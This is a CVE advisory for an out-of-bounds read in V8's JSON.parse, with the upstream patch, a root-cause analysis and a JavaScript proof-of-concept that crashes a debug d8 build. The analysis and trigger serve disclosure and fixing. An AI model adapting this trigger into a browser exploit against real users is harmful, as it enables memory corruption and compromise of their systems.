CVE-2026-0902
Overview
Files Changed
src/json/json-parser.cc
Patch
From c30fe0dc4475926fd74ca20a9bfc510a658bc0e5 Mon Sep 17 00:00:00 2001 From: pthier <[email protected]> Date: Thu, 18 Dec 2025 12:56:22 +0100 Subject: [PATCH] [json] Parser: Ensure descriptor array access is in bounds A GC could shrink the descriptor array. Ensure that we early break the loop on all paths to prevent reading beyond the limit. Fixed: 469143679 Change-Id: I9ac5851ffd9454ad13302171d45349d3fb73786a Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7274717 Commit-Queue: Patrick Thier <[email protected]> Reviewed-by: Igor Sheludko <[email protected]> Cr-Commit-Position: refs/heads/main@{#104407} --- diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc index 968b394..5bc2983 100644 --- a/src/json/json-parser.cc +++ b/src/json/json-parser.cc @@ -1653,6 +1653,11 @@ if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; continue; } + // Before accessing the descriptor array, make sure that it wasn't + // shrunk during a potential GC after the previous range check. + if (V8_UNLIKELY(idx.as_int() >= descriptors->number_of_descriptors())) { + break; + } // Check if the key is fast iterable. // Some of the checks below are not relevant for the parser, but are // requirements for fast iterable keys in general (e.g. for
Original Bug Report
JSON.parse(): Out-of-bounds access on DescriptorArray
VULNERABILITY DETAILS
This is an issue similar to issues/423459708, and the previous fix was incomplete. The problem also occurs in ParseJsonObjectProperties(), which is a method used to parse the keys and values of all fields in an object.
ParseJsonObjectProperties() has three implementation paths: kJsonSlow, kJsonFast, and kJsonUnknown. If an object of a certain Map is being serialized for the first time, it will enter the kJsonUnknown path.
template <typename Char>
template <DescriptorArray::FastIterableState fast_iterable_state>
bool JsonParser<Char>::ParseJsonObjectProperties(
JsonContinuation* cont, MessageTemplate first_token_msg,
Handle<DescriptorArray> descriptors) {
using FastIterableState = DescriptorArray::FastIterableState;
if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) {
...
} else {
InternalIndex idx{0};
do {
EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false);
first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName;
bool key_match;
if constexpr (fast_iterable_state == FastIterableState::kJsonFast) {
...
} else { // Unknown
// Parse a string from json as the field name.
JsonString key = ScanJsonPropertyKey(cont);
...
Tagged<Name> property_name = descriptors->GetKey(idx);
bool is_slow = key.has_escape();
// Check that the property is enumerable and located in field.
PropertyDetails details = descriptors->GetDetails(idx);
if (V8_UNLIKELY(details.IsDontEnum() ||
details.location() != PropertyLocation::kField)) {
is_slow = true;
}
// Symbol property keys are slow.
if (V8_UNLIKELY(IsSymbol(property_name))) {
is_slow = true;
}
// Check if the field name in the JSON matches the property name in the descriptor array.
key_match = false;
if (V8_LIKELY(!is_slow)) {
DisallowGarbageCollection no_gc;
// Property key is known to be fast so far, so it is guaranteed to
// be a string.
Tagged<String> expected_key = Cast<String>(property_name);
Tagged<Map> key_map = expected_key->map();
if (InstanceTypeChecker::IsTwoByteString(key_map)) {
// Two-byte keys are slow.
is_slow = true;
} else {
const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc);
const uint32_t key_length = expected_key->length();
key_match = FastKeyMatch(expected_chars, key_length, key);
}
}
if (V8_UNLIKELY(is_slow)) {
descriptors->set_fast_iterable(FastIterableState::kJsonSlow);
}
if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false;
if (V8_UNLIKELY(is_slow || !key_match)) {
...
}
++idx;
}
} while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>());
...
}
return true;
}
The cause of the previous issue (issues/423459708) was:
- Before entering the do-while loop, the function pre-saved
descriptors->number_of_descriptors()into a variabledescriptors_end. - When calling
ParseJsonPropertyValue()to parse a field value, memory is allocated, which triggers a GC and causes the descriptors array to shrink. - Since
idx < descriptors_end, the loop continues, leading to an OOB access when executingdescriptors->GetDetails(idx).
This issue is similar. ScanJsonPropertyKey() is responsible for parsing a string from the JSON. However, when processing "B, because it is not a complete string, it enters ReportUnexpectedToken() to generate an error message and throw an exception.
Note: GC is allowed when executing ReportUnexpectedToken(), so a GC can be triggered during the error message generation process, causing the descriptors to shrink.
template <typename Char>
JsonString JsonParser<Char>::ScanJsonString(bool needs_internalization) {
DisallowGarbageCollection no_gc;
...
while (true) {
...
if (V8_UNLIKELY(is_at_end())) {
AllowGarbageCollection allow_before_exception;
ReportUnexpectedToken(JsonToken::ILLEGAL,
MessageTemplate::kJsonParseUnterminatedString);
break;
}
...
}
return JsonString();
}
Therefore, during the execution of the PoC, the ParseJsonArray() execution process is as follows:
First, the object corresponding to {"A": 0} is parsed, and MapA is obtained as feedback. Note: feedback->descriptors has two entries.
Then, ParseJsonValueRecursive(feedback) is called to parse the subsequent object, which will then call ParseJsonObjectProperties() to parse the two fields in {"A": 0,"B.
- After parsing the first field
"A": 0, the do-while loop check is performed:idx=1, descriptors->number_of_descriptors()=2, so the loop continues. - When parsing the second field “B:
ScanJsonPropertyKey()is called to parse a string, which in turn callsScanJsonString().- Since
"Bis not a complete string object,ReportUnexpectedToken()is called to report an error. - During the error reporting, memory is allocated, triggering a GC, which causes the
descriptorsto shrink. - An empty string
JsonString()is returned.
- Since
- The do-while loop does not handle the error from
ScanJsonString()and continues to executedescriptors->GetKey(idx). At this point, descriptors has only one entry, whileidx=1, leading to an out-of-bounds access.
I believe the root cause is the incomplete handling of ScanJsonPropertyKey() failure. If ScanJsonPropertyKey() returns an empty string, the loop should stop immediately.
The problematic code was introduced in commit 5fdab0114d1211e11bce1c74b40fc5e57b4942e6, which attempted to fix issues/423459708 but was unsuccessful.
REPRODUCTION CASE
poc.js:
// Incomplete JSON, JSON.parse() will throw an exception when handling `"B`
const jsonStr = `
[
{
"A": 0
},
{
"A": 0,
"B
`;
// prepare map transition: MapA --add-property(B)--> MapB
// MapA and MapB shared same descriptors
let o1 = {A: 0}; // own 1 entry
let o2 = {A: 0}; // own 2 entry
o2.B = 1;
// %DebugPrint(o1);
// clear reference, no objects use MapB,
// so only one entry in MapA->descriptors is actually used, and it will shrink during GC.
o2 = null;
// trigger GC to shrink descriptors array in `ReportUnexpectedToken()`
%SetAllocationTimeout(-1, 5);
// trigger crash
try {
JSON.parse(jsonStr);
} catch(e) {
}
V8 must be built with a debug configuration, Execute v8 as follows:
./d8 \
--allow-natives-syntax \
--predictable \
--predictable-gc-schedule \
./poc.js
This will result in the following crash:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 231
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (1 vs. 1).
#
CREDIT INFORMATION
Reporter credit: [303f06e3]